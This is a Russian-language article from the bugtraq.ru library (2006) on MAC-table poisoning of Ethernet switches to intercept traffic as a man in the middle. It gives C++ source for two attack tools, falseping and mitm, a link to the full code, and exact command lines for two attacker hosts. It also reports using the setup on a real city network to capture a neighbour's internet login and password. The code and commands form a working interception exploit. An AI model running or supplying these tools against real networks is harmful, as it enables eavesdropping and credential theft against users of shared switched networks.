информационная безопасность
без паники и всерьез
 подробно о проекте
Rambler's Top100Атака на InternetСтрашный баг в WindowsСетевые кракеры и правда о деле Левина
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Microsoft обещает радикально усилить... 
 Ядро Linux избавляется от российских... 
 20 лет Ubuntu 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / библиотека / безопасность
БИБЛИОТЕКА
вход в библиотеку
книги
безопасность
программирование
криптография
internals
www
телефония
underground
беллетристика
разное
обзор: избранное
конкурс
рейтинг статей
обсуждение




Подписка:
BuqTraq: Обзор
RSN
БСК
Закон есть закон




Атака на коммутаторы второго уровня
Андрей Вернигора, Андрей Горлов
Опубликовано: dl, 27.02.06 22:23

Сетевое оборудование

В типичной сети Ethernet одним из основных видов коммуникационного оборудования являются коммутаторы, по-простому - свичи (switches). Основной задачей этого оборудования является, грубо говоря, перенаправление пакетов с одного своего порта, на другой. Это делается при помощи таблицы коммутации, которая создается и поддерживается свичем. В таблице хранятся данные о том, на каком порту устройства находится тот или иной MAC-адрес. Причем ключевым значение в этой таблице является MAC-адрес, то есть к одному MAC-адресу может быть привязан только один порт коммутатора. Вот что, частично, представляет собой таблица свича.

Таблица 1. Часть таблицы коммутации свича
000062-a15e68
0000e8-8d574d
0000e8-d9eba2
0000f0-88be4d
000102-1e4d80
00016c-c88e2a
000244-0f0a2e
000244-0f0a31
000244-0f0a48
000244-303019
000244-3adc8c
000476-9f4a19
000476-9f4a5e
0007e9-4a6851
0007e9-4a867b
0007e9-57d732
0007e9-57de2e
0007e9-602968
1
1
1
10
20
10
1
1
1
1
1
1
4
12
1
1
1
1

Коммутаторы умеют учиться. Они подстраивают свою таблицу коммутации в зависимости от всяких внешних воздействий. Механизм этого обучения, в общем случае, достаточно прост. Устройство, получив пакет на каком-либо порту, исследует поля заголовка Ethernet-кадра, получает из него адрес отправителя, запоминает порт, по которому пакет пришел, и добавляет эту запись в таблицу коммутации. В случае, если уже есть запись для такого MAC-адреса, свич при необходимости меняет соответствующий ему порт.

Как это работает

Благодаря такому механизму обучения, простые свичи уязвимы к атакам на таблицу коммутации. Послав некорректный пакет, можно испортить таблицу коммутатора и заставить его вести себя неправильно. Вот чего можно добиться этим методом:


Рисунок 1. Простейшая схема атаки

В этом случае "Атакующий" хост может изменить таблицу коммутации свичей специально сформированным пакетом. При этом "правильный трафик", направленный с клиента на сервер, можно повернуть так, чтобы он доставлялся на атакующую машину. В простейшем случае таким пакетом может являться обыкновенный ICMP запрос. Попросту говоря, ping. Этот пакет должен быть послан с хоста "Атакующий", но сформирован так, как будто был послан хостом "Сервер", то есть с указанием MAC-адреса сервера в поле источника Ethernet-кадра. Тогда все свичи, через которые пройдет указанный пакет, изменят свою таблицу коммутации на "неправильную" и станут перенаправлять пакеты атакующему. В результате такого воздействия можно перехватить трафик между двумя или несколькими машинами в сети. Иначе говоря, есть возможность прослушать траффик практически любых машин в свичеваной сети. Но для удачной реализации необходимо решить некоторые проблемы. Первая, и самая главная проблема заключается вот в чем. Предположим, необходимо прослушать трафик между клиентом и сервером. Если атаковать только одну из этих машин, атакуемые не смогут обмениваться данными, потому что все, что предназначено второй машине, будет доставляться свичами атакующему. То есть, если атакованный клиент попытается установить соединение с сервером, атакующая машина "услышит" эту попытку. Однако пакеты на установление соединения не дойдут к серверу, и соединение не будет установлено. Для того, чтобы избежать этого, нужно атаковать оба направления обмена и перенаправлять трафик между ними "вручную". Возникает искушение сделать все это на одной машине при помощи простого приложения. Но это, к сожалению, невозможно, и вот почему. Подменить клиента для сервера и сервер для клиента на одной атакующей станции нельзя. Поскольку в этом случае свич, к которому подключен атакующий, будет отбрасывать пакеты назад. Рассмотрим это на двух примерах:


Рисунок 2. Атака с одного хоста

Если попытаться подменить для клиента сервер, а для сервера клиент с одной машины и с одним интерфейсом, таблица коммутации свича, к которому подключен атакующий будет выглядеть примерно так, как нарисовано на рисунке слева. То есть и MAC сервера, и MAC клиента будут находиться на одном и том же порту коммутатора. Поэтому, если получив пакет, к примеру, от сервера, попытаться перебросить его клиенту, свич отбросит его назад, согласно своей таблице. Если попытаться сделать то же самое, используя две сетевые карточки, получим картину на рисунке справа. Свич все равно будет отбрасывать пакеты обратно атакующему. Из рассмотреных случаев вытекает следующий вывод: нужно использовать 2 атакующие машины. Но есть и ограничение. Никакие три из задействованных MAC-адресов не должны сойтись на одном свиче. Пример простейшей подходящей конфигурации сети представлен ниже.


Рисунок 3. Удачный пример атаки

Такая схема позволяет прослушать трафик, которым обмениваются клиент и сервер между собой. Для ее реализации необходимо выбрать правильные направления перенаправляющих пакетов. То есть, "Атакующий 2" должен подменить "Сервер" для "Клиента". "Атакующий 1" - "Клиента" для "Сервера". После этого атакующие должны передавать пакеты между собой, для того чтобы установить канал связи между клиентом и сервером. В случае удачи, запустив сниффер, можно будет увидеть клиент-серверный обмен.

Реализация атаки

Сразу оговорюсь: Все нижеизложенное предназначено исключительно для учебных целей. И автор не несёт какой либо ответственности за последствия применения описанного программного обеспечения.

Реализация состоит из двух консольных приложений - falseping (генерирует ложные ICMP запросы), и mitm (man in the middle, маршрутизатор пакетов, идущих от клиента к серверу (или наоборот), через двух участников атаки). Для отсылки и перехвата ethernet кадров в обоих приложениях используется библиотека WinpkFilter 3.0.Она бесплатна для некоммерческого использования, run-time можно взять здесь: http://www.ntkernel.com/w&p.php?id=7. Полный исходный код обоих приложений можно взять по адресу: http://lucifer.com.ua/l2swattack.rar.

Начнем с falseping. Синтаксис вызова такой:

falseping dst_ip dst_mac src_ip src_mac index count delay

Где dst_ip, src_ip - destination и source адреса IP заголовкa, dst_mac и src_mac - destination и source адреса ethernet заголовка соответственно. index - индекс интерфейса, с которого будут отсылаться пакеты. Для получения индекса используется утилита ListAdapters, которая есть в комплекте WinpkFilter. Далее: count - количество отправляемых пакетов, delay - задержка в миллисекундах после отправки каждого пакета.

Немного о программной реализации. Имеется ICMP echo request, захваченный с помощью сниффера и слегка измененный:

 
BYTE EchoRequest []=
{
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x45, 0x00,
0x00, 0x3c, 0xff, 0x46, 0x00, 0x00, 0x81, 0x01, 0xb9, 0x1d, 0xc0, 0xa8, 0x00, 0x0b, 0xc0, 0xa8,
0x00, 0x01, 0x08, 0x00, 0x43, 0x5c, 0x01, 0x00, 0x09, 0x00, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66,
0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76,
0x77, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69
};

Вычисляются адреса заголовков в этом кадре и адрес ICMP data:

// адрес заголовка ethernet
ether_header_ptr etherHeader = reinterpret_cast <ether_header_ptr> (&EchoRequest[0]);
// адрес IP хидера
iphdr_ptr ipHeader = reinterpret_cast <iphdr_ptr> ( &EchoRequest[sizeof (ether_header)] );
// адрес ICMP хидера
icmphdr_ptr icmpHeader = reinterpret_cast<icmphdr_ptr>
	(reinterpret_cast<PBYTE>(ipHeader) + sizeof(DWORD)*ipHeader->ip_hl);
// адрес ICMP data
BYTE *icmpData = reinterpret_cast(icmpHeader) + sizeof (icmphdr);

Затем, из параметров командной строки заполняются ключевые поля в этих заголовках и сохраняются остальные параметры:

// получаем параметры командной строки
GetIPAddress(argv[1], reinterpret_cast<IPAddress*> (&ipHeader->ip_dst));
GetMAC (argv[2], reinterpret_cast<MAC*> (ðerHeader->h_dest));
GetIPAddress(argv[3], reinterpret_cast<IPAddress*> (&ipHeader->ip_src));
GetMAC (argv[4], reinterpret_cast<MAC*> (ðerHeader->h_source));
unsigned int index = atoi (argv[5]) - 1;
unsigned int count = atoi (argv[6]);
unsigned int delay = atoi (argv[7]);

После этого ICMP data заменяется на специальную сигнатуру:

const char ICMPData [] = "bcdefghijklmnopqrstuvwxyzabcdefg"; //32 bytes + zero
//original = "abcdefghijklmnopqrstuvwabcdefghi" in win xp
memcpy (icmpData, ICMPData, 32);

Это нужно для того, чтобы mitm отличал настоящие echo reply от фальшивых и не перенаправлял их. Далее - пересчет контрольных сумм ICMP и IP, инициализация запроса для отправки, и наконец основной цикл:

while (count-- > 0)
{
	if (!api.SendPacketToAdapter(&Request))
		std::cout<<"SendPacketToAdapter failed.\n";
	else cout<<"Packet #"<<packetNum++<<" sent.\n";
	::Sleep (delay);
}

Как видите, все довольно просто.

Теперь о mitm. Синтаксис вызова:

mitm index src_mac dst_mac another_attacker_mac fake_mac1 fake_mac2

Где: index - то же самое, что и у falseping, src_mac и dst_mac - source mac & destination mac пакетов, которые нужно отправлять второму атакующему, fake_mac1 - замена src_mac перед отправкой второму атакующему. Служит маркером того, что данный пакет должен быть отправлен вторым атакующим на сервер. fake_mac2 - маркер пакетов, которые должны быть отправлены клиенту.

За основу реализации был взят пример PacketSniffer, который поставляется с WinpkFilter Framework. Получение параметров командной строки и инициализацию я опускаю, приведу лишь основной цикл перехвата с комментариями, которые, я надеюсь, помогут во всем разобраться:

// бесконечный цикл прослушивания
for (;;)
{
	// ждем появления пакетов в очереди
	WaitforSingleObject ( hEvent, INFINITE );
	ResetEvent(hEvent);
	//пакеты получены. читаем их по одному
	while (api.ReadPacket(&Request))
	{
		if ( (*reinterpret_cast<MAC*>(ðHeader->h_dest[0]) == dst_mac) &&
			 (*reinterpret_cast<MAC*>(ðHeader->h_source[0]) == src_mac) )
		{
			// пакет от ближнего атакуемого (клиента) для дальнего
			// атакуемого (сервера)
			// проверка на falseping ICMP echo reply
			iphdr_ptr ipHeader = reinterpret_cast <iphdr_ptr>
					(reinterpret_cast <PBYTE> (ethHeader) +
					 sizeof (ether_header));
			if (ipHeader->ip_p == IPPROTO_ICMP)
			{
				icmphdr_ptr icmpHeader = reinterpret_cast <icmphdr_ptr>
					(reinterpret_cast <PBYTE> (ipHeader)+
					ipHeader->ip_hl*4);

				if (icmpHeader->type == 0) 
					// 0 for echo reply message.
					// (смотрите RFC 792)
				{
					BYTE *icmpData =
						reinterpret_cast <PBYTE> (icmpHeader) +
						sizeof (icmphdr);
					if ( memcmp (icmpData, ICMPData, 4) == 0)
						continue; // дропаем пакет
				}
			}

			// подменяем адреса на адрес атакующего2 и маркер1, затем отсылаем
			// пакет на интерфейс
			*reinterpret_cast<MAC*>(ðHeader->h_dest[0]) = dst2_mac;
			*reinterpret_cast<MAC*>(ðHeader->h_source[0]) = fake1_mac;
			api.SendPacketToAdapter(&Request);
			cout<<"Packet from src_mac to dst_mac relayed to dst2_mac\n";
			continue;
		}

		if ( (*reinterpret_cast<MAC*>(ðHeader->h_dest[0]) == my_mac) &&
			 (*reinterpret_cast<MAC*>(ðHeader->h_source[0]) == fake2_mac) )
		{
			// пакет от атакующего2 с маркером2
			// подменяем адреса на адрес ближнего и дальнего атакуемых,
			// затем отсылаем
			*reinterpret_cast<MAC*>(ðHeader->h_dest[0]) = src_mac;
			*reinterpret_cast<MAC*>(ðHeader->h_source[0]) = dst_mac;
			api.SendPacketToAdapter(&Request);
			cout<<"Packet from fake2_mac to my_mac relayed to src_mac\n";
			continue;
		}

		// "обычные" пакеты. пропускаем их, не нарушая работу сети
		if (PacketBuffer.m_dwDeviceFlags == PACKET_FLAG_ON_SEND)
		{
			// Place packet on the network interface
			api.SendPacketToAdapter(&Request);
			cout<<"MSTCP->Adapter\n";
		}
		else
		{
			//Indicate packet to MSTCP
			if (*reinterpret_cast<MAC*>(ðHeader->h_dest[0]) == my_mac)
			{
				api.SendPacketToMstcp(&Request);
				cout<<"Adapter->MSTCP\n";
			}
		}
	}
}

Приведу пример использования всего этого. Допустим имеются Client, Server, Attacker1, Attacker2. В таблице ниже приведены IP и MAC адреса всех участников "процесса".
HostIPMAC
Client192.168.0.10000-11-12-13-14-15
Server192.168.0.100-21-22-23-24-25
Attacker1192.168.0.12000-a1-a2-a3-a4-a5
Attacker2192.168.0.2000-b1-b2-b3-b4-b5

Attacker1 находится "ближе" к Client'у (допустим они подключены к одному свичу), а Attacker2 "ближе" к серверу. В такой ситуации Attacker1 должен бросать Client'у ложные пакеты с адреса сервера:

falseping 192.168.0.100 00-11-12-13-14-15 192.168.0.1 00-21-22-23-24-25 1 0 1000

А Attacker2 должен бросать пакеты Server'у от имени клиента:

falseping 192.168.0.1 00-21-22-23-24-25 192.168.0.100 00-11-12-13-14-15 1 0 1000

Далее запускаем mitm:

Attacker1:

mitm 1 00-11-12-13-14-15 00-21-22-23-24-25 00-b1-b2-b3-b4-b5 00-f1-f1-f1-f1-f1 00-f2-f2-f2-f2-f2

Attacker2:

mitm 1 00-21-22-23-24-25 00-11-12-13-14-15 00-a1-a2-a3-a4-a5 00-f2-f2-f2-f2-f2 00-f1-f1-f1-f1-f1

Все. Теперь на машине одного из атакующих, или на обоих машинах, можно запускать сниффер и идти пить чай :)

Мы проверяли эту систему в реальных условиях - в нашей городской сети. Удалось прослушать траффик между моим соседом, который вызвался добровольцем :) и http сервером. Итог - перехвачен логин/пароль доступа к статистике использования интернет-траффика (которые по совместительству являются логином/паролем для доступа в интернет). Думаю, комментарии излишни.

Напоследок следует отметить, что эта реализация имеет один существенный недостаток. А именно - все машины, подключенные к свичам, через которые проходит false echo request, теряют возможность нормально общаться с сервером (клиентом). Все, кроме той, адрес которой имеется в параметрах mitm. Существует более продвинутая версия mitm, которая избавлена от этого недостатка, но это уже совсем другая история ;)...

обсудить  |  все отзывы (38)

[49023; 115; 7.13]




Rambler's Top100
Рейтинг@Mail.ru





  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach